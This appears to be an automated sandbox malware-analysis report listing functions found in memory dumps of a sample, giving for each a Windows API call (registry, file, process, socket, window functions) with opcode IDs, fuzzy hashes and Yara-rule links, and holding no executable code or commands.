FindCloseChangeNotification.KERNELBASE(?), ref: 0284159C

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 4c1e3757faf8494d430a95c7e31d11d2894c83e94d4fc4efd6e0af07e084dce7
Instruction ID: faf8e7084b327f48ba8fa6a672e23c8480ca14d8e4e5b3c78561ec28be02644c
Opcode Fuzzy Hash: 4c1e3757faf8494d430a95c7e31d11d2894c83e94d4fc4efd6e0af07e084dce7
Instruction Fuzzy Hash: A421C0765093C45FDB028B25DC54B92BFB4EF47324F0980DAED898F663D674A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028422BA, Relevance: 1.6, APIs: 1, Instructions: 67fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 0284232E

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 378455b7f574e3ffb2ef9a6f415054b61b61a4a5b7cde6bdec1bd8b016a86e8d
Instruction ID: baab8e0b7d0e7459d77db225ce4573244a2c0f2d9f1762388fed84986a7619f6
Opcode Fuzzy Hash: 378455b7f574e3ffb2ef9a6f415054b61b61a4a5b7cde6bdec1bd8b016a86e8d
Instruction Fuzzy Hash: 5221DE75404204AFE721CF25CC84FA6FBE8EF08324F04845EEE889B251D771A508CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028415E5, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32EnumProcesses.KERNEL32(?,?,?,CE015E84,00000000,?,?,?,?,?,?,?,?,72F43C38), ref: 02841656

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: EnumProcesses
String ID:
API String ID: 84517404-0
Opcode ID: 04aa3fc18eb22e0379c96050e964f63b5da1458ac68a5d873fed9d67d841b70e
Instruction ID: 8fab54eee5f5e8f13e9e21eb3236ab37af93a4aa2d81f454cd51a1fed297ab44
Opcode Fuzzy Hash: 04aa3fc18eb22e0379c96050e964f63b5da1458ac68a5d873fed9d67d841b70e
Instruction Fuzzy Hash: FE2162755093849FD712CF25DC84B92BFE8EF06214F0984EAE989CF163D374A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028401F4, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 02840264

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 8f9170078a06b1a097d00288d9633f367f19247d5f182562929db2252b42385a
Instruction ID: ea70912400db5e30bba7d9ce99f42f88b64135360c1ee35d5009dd9bab006398
Opcode Fuzzy Hash: 8f9170078a06b1a097d00288d9633f367f19247d5f182562929db2252b42385a
Instruction Fuzzy Hash: 7B2105B5809784AFD716CB24DC85B52BFA8EF42324F0885DBED848F6A3D3349904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02841A5A, Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32(?,?,?,?,?), ref: 02841AC6

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 919763a851773c8841c414522e9691d8e115285ecfd90d76b556636ef865dbb1
Instruction ID: 1311025532c3e8b8cdd2b17f91bf1f486ea2a710035a05312083a77cd39d89a6
Opcode Fuzzy Hash: 919763a851773c8841c414522e9691d8e115285ecfd90d76b556636ef865dbb1
Instruction Fuzzy Hash: 9321CD75500604AFEB21DF65DC44F66FFE8EF08310F14896EEE899A252D7B1A408CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02840B9E, Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02840C10

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 117f4cd94f9a79e6b7434acbaab0d455a6c05637607c304be02e1831d3ae47af
Instruction ID: 1ced16dcd0910fb3cfb18066a6f9779be10abd605a3ec09246266e558e519c61
Opcode Fuzzy Hash: 117f4cd94f9a79e6b7434acbaab0d455a6c05637607c304be02e1831d3ae47af
Instruction Fuzzy Hash: 23118B7A500608EFEB209E25DC81F67FBE8EF04714F14856AEE49DB241DB64E509CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 028404EA, Relevance: 1.6, APIs: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 0284055C

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 53d4cbd8db87154611d53314740739d93a780ab531c41e5202aeb22a5c262b56
Instruction ID: 9a8d2f2358238ebe9e3b3c4df28476b562f2322359fa68493f322320367f00c8
Opcode Fuzzy Hash: 53d4cbd8db87154611d53314740739d93a780ab531c41e5202aeb22a5c262b56
Instruction Fuzzy Hash: 77117F7A500608AFEB20CF15DC80F67FBE8EF04714F14855AEA49DB251D760E409CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028412F8, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 02841362

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 4756b8d0f83e9c806e2fded8f50875cb40a23cc5b8d8a9477581cd84ec96ce6d
Instruction ID: d3b582da285df09e46561d736cf2608a4edde9296856db688fba54e5182a14f7
Opcode Fuzzy Hash: 4756b8d0f83e9c806e2fded8f50875cb40a23cc5b8d8a9477581cd84ec96ce6d
Instruction Fuzzy Hash: 73119D765043849FDB21CF25DC89B56BFE8EF45214F0C84AAED49CB652D334E848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02842726, Relevance: 1.6, APIs: 1, Instructions: 64timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02842785

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 5866877f7e1aeba8a59ff6076fb9175cf11d1630de7f3c5a18aa146e07280c27
Instruction ID: c15fb64907bc191aa40aabf4478243cdf90975b09138154231139138a0fc2b30
Opcode Fuzzy Hash: 5866877f7e1aeba8a59ff6076fb9175cf11d1630de7f3c5a18aa146e07280c27
Instruction Fuzzy Hash: 5C11E275504204AFEB21CF65DC41F6BFBA8EF44320F14856BEE49CB255C670A404CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0096B7CA, Relevance: 1.6, APIs: 1, Instructions: 61windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 0096B841

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c239dca77b8b4aa1a4b1e8dd30c99ed6f74ea4420191599e5d6b695c04e9a30f
Instruction ID: e6c30ef0d45801c2a67a71f4c47b8fa29ad3e2be58db04614fce2d821a7efb89
Opcode Fuzzy Hash: c239dca77b8b4aa1a4b1e8dd30c99ed6f74ea4420191599e5d6b695c04e9a30f
Instruction Fuzzy Hash: 502190714097C09FDB128B21DC50A92BFB4EF17314F0D84DAEDC44F163D265A958DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0096A51F, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0096A58A

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7e8c411fb8fe3da4176953f6dba6ece041b5dca35cc14a99f51c4b0becdd92cf
Instruction ID: d2a11bc07fdf46d73a51f87715dd772c2055875bdafd6686754717643f807912
Opcode Fuzzy Hash: 7e8c411fb8fe3da4176953f6dba6ece041b5dca35cc14a99f51c4b0becdd92cf
Instruction Fuzzy Hash: A7117271409380AFDB228F55DC44A62FFF8EF4A310F08859EEE858F162C275A918DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02841006, Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetExitCodeProcess.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 0284105C

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CodeExitProcess
String ID:
API String ID: 3861947596-0
Opcode ID: 4cb794c36bff7d2fba21b97ea24717fbbe97a90b20df5712845c2b08b55325d6
Instruction ID: fe5960f80ab148be15709f6478f901494c1630d45737a2c7a70cf142a0642976
Opcode Fuzzy Hash: 4cb794c36bff7d2fba21b97ea24717fbbe97a90b20df5712845c2b08b55325d6
Instruction Fuzzy Hash: 1711A375504248AFEB10DF25DC85B6BFB98DF45324F14846BEE09DF241DA74A844CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028402DE, Relevance: 1.6, APIs: 1, Instructions: 60registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(?,00000E2C), ref: 02840353

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 5007c520396fdeea88c87e45a44b1ee916cfe3efbda9f13c723093a2568565d0
Instruction ID: bbeda7788731e544333c3a9811c10971c812dd58d11f92cd692e18a30e218c2b
Opcode Fuzzy Hash: 5007c520396fdeea88c87e45a44b1ee916cfe3efbda9f13c723093a2568565d0
Instruction Fuzzy Hash: B111EF39404604EFEB218F14CC41F66FFA8EF04714F18849AEE499A291C6B1A508CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 028410E2, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNELBASE(?,00000E2C), ref: 0284114B

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: b0286c53aa939077d11bd9b396165f615ba22d7548a8d7f2c1e7ef106de769c3
Instruction ID: 2d8ee80bf88fdcce005d7f183468bc09f091481ff1c005d7ad48358be4ae50ea
Opcode Fuzzy Hash: b0286c53aa939077d11bd9b396165f615ba22d7548a8d7f2c1e7ef106de769c3
Instruction Fuzzy Hash: E811E975500604AFF7209B15DC85F76FB98DF05720F14C06AEE499F281D7B4A945CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028409F2, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02840A51

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 42926c2ab05639e9d1ed18078f2987428838374e45c9ac12e5434f88e978d5b7
Instruction ID: 59d8aee2da22f90c561a17696a95f227bf7f5fe395c1226e8022524b76142afb
Opcode Fuzzy Hash: 42926c2ab05639e9d1ed18078f2987428838374e45c9ac12e5434f88e978d5b7
Instruction Fuzzy Hash: A211BF76400204AFEB21CF55DC40F67FBA8EF44324F14896BEE499F251C674A418CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 0096BB4F, Relevance: 1.6, APIs: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0096BBB9

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 56ea4c1abb9b8353ccdb95de22c2763fb28646911bd3ef3db02813e0e8d2aa70
Instruction ID: 1a9bd0ea6b91390a34de1cb1c44be01977273d970800597a04ac8fd1e68b3f30
Opcode Fuzzy Hash: 56ea4c1abb9b8353ccdb95de22c2763fb28646911bd3ef3db02813e0e8d2aa70
Instruction Fuzzy Hash: DD11BE35409380AFDB228F25CC45A52FFB4EF16220F0885DEED858F663D265A858DB62

Uniqueness

Uniqueness Score: -1.00%

Function 0096BE05, Relevance: 1.6, APIs: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?), ref: 0096BE70

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: f2ec3787472381f80c992355fd0663cee944c33891f3a0aff964b5e18415f371
Instruction ID: 963fcebea1189ba1304e4c54588ea0f4ac51ef7ad41ee89c56beaf8fc6cc282c
Opcode Fuzzy Hash: f2ec3787472381f80c992355fd0663cee944c33891f3a0aff964b5e18415f371
Instruction Fuzzy Hash: 97118E758093C0AFD7138B25DC44B62BFB4DF47624F0980DEED888F263D2656848CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0096B71E, Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32 ref: 0096B78A

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 88c642e6a8d8ad0337f20298f80fd6b94a06bb45cdbe0245023f2b226ca0f9fb
Instruction ID: 9a6fc335636ab6129acde70769b527f9ce4e0e2fab0db55921cbbe60d92f59c8
Opcode Fuzzy Hash: 88c642e6a8d8ad0337f20298f80fd6b94a06bb45cdbe0245023f2b226ca0f9fb
Instruction Fuzzy Hash: C4117271408384AFDB228F55DC44A52FFF4EF49310F08859EEE858F562D375A858DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0096BEB4, Relevance: 1.6, APIs: 1, Instructions: 56fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 0096BF0C

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 45e605450204b941fcd75cc28e01def734eadc1b2b6735e479fa08176047d16d
Instruction ID: 06c24aaa5ce2528ed5236203342697201e1b992a200ebcd94783db2f3096403f
Opcode Fuzzy Hash: 45e605450204b941fcd75cc28e01def734eadc1b2b6735e479fa08176047d16d
Instruction Fuzzy Hash: C411A3715053809FD711CF26DC85B56BFE8EF46220F0884AAED45CF252D374E848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0284118F, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 028411F4

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 6e29c3f5f6f44ca2c56f9f9ff4ad589da38af2902d68402d9bfed5b74659bf03
Instruction ID: 7892473085cadce9ba8631b7851f23e3a15c63b152a85940d4f7e3b67c4399ba
Opcode Fuzzy Hash: 6e29c3f5f6f44ca2c56f9f9ff4ad589da38af2902d68402d9bfed5b74659bf03
Instruction Fuzzy Hash: 0D118E754093C4AFD7128B24DC44B52BFB4EF46224F0984DBED88CF163C275A849CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02840AD6, Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNELBASE(?,?,?), ref: 02840B1E

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: ba3b17befef2636099f6e1725c5bfa7d342797646ca74f75d3a4a16310434250
Instruction ID: 62dcc4ad3c5bdfe66d48d4c7120e1e51bd3d5d908308a60d6a4c91f180b8de42
Opcode Fuzzy Hash: ba3b17befef2636099f6e1725c5bfa7d342797646ca74f75d3a4a16310434250
Instruction Fuzzy Hash: 5B118EB9A002089FDB14CF29D885757FBD8EF04228F18C4AADE49DB242EB74E404CB75

Uniqueness

Uniqueness Score: -1.00%

Function 0284131A, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 02841362

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: ba3b17befef2636099f6e1725c5bfa7d342797646ca74f75d3a4a16310434250
Instruction ID: dc541e11a5f412fd6e3bc3b4771be860b10a96c53556b35f25d79a631dd2f1b2
Opcode Fuzzy Hash: ba3b17befef2636099f6e1725c5bfa7d342797646ca74f75d3a4a16310434250
Instruction Fuzzy Hash: EA115E79A006049FDB10CF29D889756FBE8EF44628F0CC4AADD4DCBA41DB74E844CA61

Uniqueness

Uniqueness Score: -1.00%

Function 0096A75B, Relevance: 1.6, APIs: 1, Instructions: 52comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(?), ref: 0096A7BC

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 66e6e6a1058d0db4f61110a122eaaa0a707e03dd2c725a273c1a56b088181d18
Instruction ID: c8f548d75e2eb9f75433340a47096bdca9232653a6a4778b720f135305a0df2f
Opcode Fuzzy Hash: 66e6e6a1058d0db4f61110a122eaaa0a707e03dd2c725a273c1a56b088181d18
Instruction Fuzzy Hash: 7E119E71849384AFD712CF15DC84B52BFB8EF46224F08849AED489F253D275A948CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02840932, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,CE015E84,00000000,00000000,00000000,00000000), ref: 02840985

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 1186e02c5bdbdf5abec46d73bb2a0e81f130b73b750fe685ba071b62718caf31
Instruction ID: 2e3350b4fa169b644b5e2250f8431e680150816c208e9cacbccf3a5c8a261add
Opcode Fuzzy Hash: 1186e02c5bdbdf5abec46d73bb2a0e81f130b73b750fe685ba071b62718caf31
Instruction Fuzzy Hash: 0B01C079500608AFE7108B19DC85F67FFA8EF15725F14809BEE489F342C6B4A408CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0284075A, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 0284079F

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 77c64e9c38dc73101c66377e5766319137f47240bc1ccbbfc0e67aaf325e9a45
Instruction ID: db9f060deaad955c4e2642cbb79d7156e84f724d1a7ba5e99e5a00961556330e
Opcode Fuzzy Hash: 77c64e9c38dc73101c66377e5766319137f47240bc1ccbbfc0e67aaf325e9a45
Instruction Fuzzy Hash: 871130795002489FDB54CF29D884B66BBD8EF04214F18C4AADE09DB641DB75D504CF62

Uniqueness

Uniqueness Score: -1.00%

Function 02841616, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

K32EnumProcesses.KERNEL32(?,?,?,CE015E84,00000000,?,?,?,?,?,?,?,?,72F43C38), ref: 02841656

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: EnumProcesses
String ID:
API String ID: 84517404-0
Opcode ID: 32f38dca59c03fbdeefe3d5aa6fa8b6dcd70f155e22c46cf0f6a6a49ad5a3ca3
Instruction ID: c5d311edafe6245c1ceac9479fa6910ca4bf54047696fd1ac406dbb2ca0c0147
Opcode Fuzzy Hash: 32f38dca59c03fbdeefe3d5aa6fa8b6dcd70f155e22c46cf0f6a6a49ad5a3ca3
Instruction Fuzzy Hash: AA118B795002489FDB10CF29D888B66FBE8EF04224F18C4AADD4DCB216D770E848CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0096A8CC, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,?,?), ref: 0096A926

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: 4b112f498439c90b2b43486418c971840defb1330c47ea864573579c92ce9f6a
Instruction ID: e1d60d911723ca19ca020418373fa1ef88a5ddd1f28e8f3534f759a7b07ccdad
Opcode Fuzzy Hash: 4b112f498439c90b2b43486418c971840defb1330c47ea864573579c92ce9f6a
Instruction Fuzzy Hash: 8B117C31409784AFD7228F15DC85A52FFF4EF06320F09C5DAEE855F262C275A818CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0096BED2, Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?), ref: 0096BF0C

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 306a076737bdf435eff3e350a03232cf231029986d67aba68e2420d7a78b2903
Instruction ID: 4f769cea20d2841e6b2fb9194756f1ee5bcdb74db6e4887001e231a0c570accd
Opcode Fuzzy Hash: 306a076737bdf435eff3e350a03232cf231029986d67aba68e2420d7a78b2903
Instruction Fuzzy Hash: 3D014C71A042409FDB10DF2AD885766BB98DF44320F18C4AADE49CF656E775E848CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 0096A172, Relevance: 1.5, APIs: 1, Instructions: 47networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(?,00000E2C,?,?), ref: 0096A1C2

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: cba93fa34a71081845735ec13992e15ecfed3040a9920e31a6993f8e1fd3b84f
Instruction ID: 0c8ea37874ad2e6356fecd47ab4c23396cd92cae3e3fefc14d19993aed7ac469
Opcode Fuzzy Hash: cba93fa34a71081845735ec13992e15ecfed3040a9920e31a6993f8e1fd3b84f
Instruction Fuzzy Hash: 6E017171900600ABD710DF16DC85B36FBA8EB88A20F14856AED089B741E735B915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 02842C82, Relevance: 1.5, APIs: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNELBASE(?,00000E2C,?,?), ref: 02842CD2

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: cc84f859421ca74349966f8c7edb1cbe0833d895ca847afc765cbf5e7aa6bdd4
Instruction ID: f2e2d1417ee231cdba8fd37ae650aede92580ce5f3dab80958e25c8ecbf4d28a
Opcode Fuzzy Hash: cc84f859421ca74349966f8c7edb1cbe0833d895ca847afc765cbf5e7aa6bdd4
Instruction Fuzzy Hash: D0017172900600ABD710DF16DC85F36FBA8EB88B20F14C56AED089B741E731B915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 02840CCA, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNELBASE(?,00000E2C,?,?), ref: 02840D1A

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: 17eb973e84bf0c0d1fde601ecfd5c330d882379d2954167af490f4a8f4d6af41
Instruction ID: a6b72df22788a8deb6038bca8e9fa0fcdeab682c44224f78ef75ecb933c0a4f1
Opcode Fuzzy Hash: 17eb973e84bf0c0d1fde601ecfd5c330d882379d2954167af490f4a8f4d6af41
Instruction Fuzzy Hash: 02015E72900600ABD610DF16DC85B26FBA8EB88A20F14856AED089B741E731B915CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0096A546, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0096A58A

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 25160363a7e0086b95f2637c6464aabb9101c41dec86474864231ce65728891c
Instruction ID: 78276939be75db81e90034e8c7547388b981ae4b2431a44f5ca255865802e683
Opcode Fuzzy Hash: 25160363a7e0086b95f2637c6464aabb9101c41dec86474864231ce65728891c
Instruction Fuzzy Hash: BD016D31400600EFDB21CF55D844B56FFE4EF48320F18C99AEE4A9A615C375A418DF62

Uniqueness

Uniqueness Score: -1.00%

Function 0096B746, Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32 ref: 0096B78A

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 9387c43eab784f8ca7616c6890548fc0ce6a65866115e387b48d45c0b7169de5
Instruction ID: 359939335f8832260bb52c0b35788ec1849ba88e7ed38dbe8a38b2c14208bcef
Opcode Fuzzy Hash: 9387c43eab784f8ca7616c6890548fc0ce6a65866115e387b48d45c0b7169de5
Instruction Fuzzy Hash: D6016D31400600EFDB218F55D844B56FFE4EF48320F18C9AEDE498EA22D375A458DF61

Uniqueness

Uniqueness Score: -1.00%

Function 0096AF9A, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?,00000E2C,?,?), ref: 0096AFEA

Memory Dump Source

Source File: 00000002.00000002.475963360.000000000096A000.00000040.00000001.sdmp, Offset: 0096A000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 311f96ee589fee42032c057e34bbe7592171b33761636062d10126f78c297bc8
Instruction ID: 5eea3dbb76fa1a296e9993918b5e57e2d179ac617701468669437eee17195950
Opcode Fuzzy Hash: 311f96ee589fee42032c057e34bbe7592171b33761636062d10126f78c297bc8
Instruction Fuzzy Hash: 2B018F71500600ABD210DF16DC82B26FBA8EB88A20F14815AED085B741E331B915CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 028419BE, Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000E2C,?,?), ref: 02841A0E

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: cb40d44aaecbd2331c298f32c0fddcc0ae6d03effb5c375f82e8dda750b7e19f
Instruction ID: 14a78fd5daf687e5167ffa99b827ed26c9f923e5cdcb72f04ea5708c8caeccab
Opcode Fuzzy Hash: cb40d44aaecbd2331c298f32c0fddcc0ae6d03effb5c375f82e8dda750b7e19f
Instruction Fuzzy Hash: 35014F76500604ABD214DF16DC86F26FBA8EB88B20F14815AED085B741E771B915CAE5

Uniqueness

Uniqueness Score: -1.00%

Function 02840232, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 02840264

Memory Dump Source

Source File: 00000002.00000002.478560546.0000000002840000.00000040.00000001.sdmp, Offset: 02840000, based on PE: false

Similarity

